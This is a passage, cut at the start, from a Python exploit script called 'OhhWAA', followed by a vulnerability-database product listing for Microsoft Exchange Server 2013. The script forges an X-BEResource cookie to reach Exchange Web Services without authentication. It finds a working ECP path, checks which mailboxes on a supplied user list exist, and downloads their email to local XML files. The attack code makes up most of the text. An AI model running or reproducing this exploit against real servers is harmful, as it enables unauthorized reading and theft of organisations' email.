"/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+') f.write(rs.text) f.close() except Exception as e: print("[!] Can't write .xml file to path (email): ", e) def checkURI(url, fqdn): headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn), "Content-Type": "text/xml", "User-Agent": "Mozilla hehe"} arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"] for uri in arr_uri: rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("[email protected]"), headers=headers) #print(rs.content) if rs.status_code == 200 and "MessageText" in rs.text: print("[+] Valid URI:", uri) calculated_domain = rs.headers["X-CalculatedBETarget"].split(".") if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"): calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1] else: calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1] return uri, calculated_domain #time.sleep(1) print("[-] No valid URI found ;(") exit(0) def checkEmailBoxes(url, uri, user, fqdn, path): headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn), "Content-Type": "text/xml", "User-Agent": "Mozilla hehe"} rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user), headers=headers) #time.sleep(1) #print(rs.content) if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text: print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user)) if "ResponseCode" in rs.text and "NoError" in rs.text: print("[+] Valid Email Found!: {}".format(user)) extractEmail(url, uri, user, fqdn, rs.text, path) if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text: print("[-] Not Valid Email: {}".format(user)) def main(): __URL__ = None __FQDN__ = None __mailbox_domain__ = None __path__ = None print("[***** OhhWAA *****]") parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>") parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True) parser.add_argument('-l', "--list", help="Users mailbox list", required=True) parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True) parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None) parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None) args = parser.parse_args() __URL__ = args.url __FQDN__ = args.fqdn __mailbox_domain__ = args.domain __list_users__ = args.list __valid_users__ = [] __path__ = args.path if not __FQDN__: __FQDN__ = getFQDN(__URL__) print("[+] Got FQDN:", __FQDN__) valid_uri, calculated_domain = checkURI(__URL__, __FQDN__) if not __mailbox_domain__: __mailbox_domain__ = calculated_domain list_users = open(__list_users__, "r") for user in list_users: checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__) print("[!!!] FINISHED OhhWAA") if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Microsoft>>Exchange_server >> Version 2013

Microsoft>>Exchange_server >> Version 2013 (Open CPE detail)

Microsoft>>Exchange_server >> Version 2013

Microsoft>>Exchange_server >> Version 2013 (Open CPE detail)

Microsoft>>Exchange_server >> Version 2013

Microsoft>>Exchange_server >> Version 2013 (Open CPE detail)